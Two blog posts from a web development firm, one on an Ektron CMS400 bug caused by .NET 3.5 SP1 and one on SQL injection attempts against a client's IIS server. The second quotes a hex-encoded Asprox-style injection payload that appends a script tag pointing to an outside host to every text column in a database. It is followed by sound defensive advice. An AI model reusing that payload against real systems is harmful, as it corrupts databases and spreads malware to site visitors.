About Web Development by Activo

After upgrading my development machine with Microsoft .NET Framework 3.5 SP1, I noticed a couple things. First, the installer also updated the .NET Framework 2.0 instance to Service Pack 2.

Second, my instance of Ektron CMS400 v.7.0.4.20 (which runs under .NET Framework 2.0) starting having problems. Specifically, I could no longer create library items in the workarea. Attempting to save a library item, for example, a hyperlink would cause the page to postback and the icon bar to disappear:

The postback page after attempting to save the library item

There is no error message, but viewing the library item list reveals that the item was not saved.

The culprit was the page /workarea/library.aspx. Viewing the HTML source of this page when attempting to “Add Library”, the form tag’s action attribute was:

library.aspx

… no querystring parameters; so when the page posts back in Ektron, it can’t save the library item and fails.

Viewing the same page on a system without .NET Framework 3.5 SP1 results in an action attribute like this:

 library.aspx?LangType=1033&action=AddLibraryItem&folder=98&type=images

Some background: As it turns out, the .NET Framework 3.5 SP1 installation changes the way the FORM tag’s ACTION attribute is handled. Prior to this upgrade, ASP.NET would ignore whatever you typed for the form’s action attribute in the markup. ASP.NET would instead render the action attribute to match the original page request. Starting with SP1, the action attribute is no longer ignored and will be rendered exactly as input.

Ektron, as it turns out, supplied an action attribute in the library.aspx form tag. Until the release of this Service Pack, it was ignored by ASP.NET.

Two possible solutions:

• Rollback install of .NET Framework 3.5 SP1 – this is a somewhat complicated process.
• Remove the form tag’s action attribute in /workarea/library.aspx.

This may not be an issue in Ektron CMS400 7.5+, but users of v7.0 should be wary, even if they’re not planning on upgrading .NET Framework 3.5 SP1… Windows Update may upgrade you automatically around November of this year.

frankrusch .NET Framework, Ektron, Web Development ASP.NET, CMS400, Ektron, Ektron CMS, Workarea

I noticed one of our client’s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.

Here’s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)

DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C4152452040542
05641524348415228323535292C4043205641524348415228323535292
04445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2
07379736F626A6563747320612C737973636F6C756D6E7320622057484
5524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D333
5204F5220622E78747970653D323331204F5220622E78747970653D313
63729204F50454E205461626C655F437572736F72204645544348204E4
558542046524F4D205461626C655F437572736F7220494E544F2040542
C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4
D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F7220 AS VARCHAR(4000));

print @S;

This particular attack is well known and has been sighted in several variants:

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

Using the following web application best practices, we avoid getting hacked:

• Application level:
  • Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.
  • Always use Stored Procedures and/or Parameterized database queries. Don’t build SQL queries using string concatenation.
  • Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.
• Database level:
  • Use limited database permissions. For example, for SQL Server, don’t let you application run under the “sa” user. The database user should only have permission in the particular database used by the application.
  • If possible, disable extended stored procedures such as xp_cmdshell.
  • Don’t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.
    Some DBAs have server-wide policies of no Dynamic SQL.

• Web server level:
  • If appropriate, filter requests. IIS 7 offers requestFiltering options. http://msdn.microsoft.com/en-us/library/ms689462.aspx
    For example, the maxQueryString parameter could be used to block the exploit attempt above.
  • For II6: http://technet.microsoft.com/en-us/security/cc242650.aspx
• Miscellaneous
  • Install security patches as soon as they become available.

The application level is crucial. Since a web application may someday be moved to a new server, we can’t assume that the web server and database have been configured using best practices.

All layers of security are important, though: If you’re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.

frankrusch .NET Framework, Web Development ASP.NET, MS SQL Security, security, SQL Injection Attack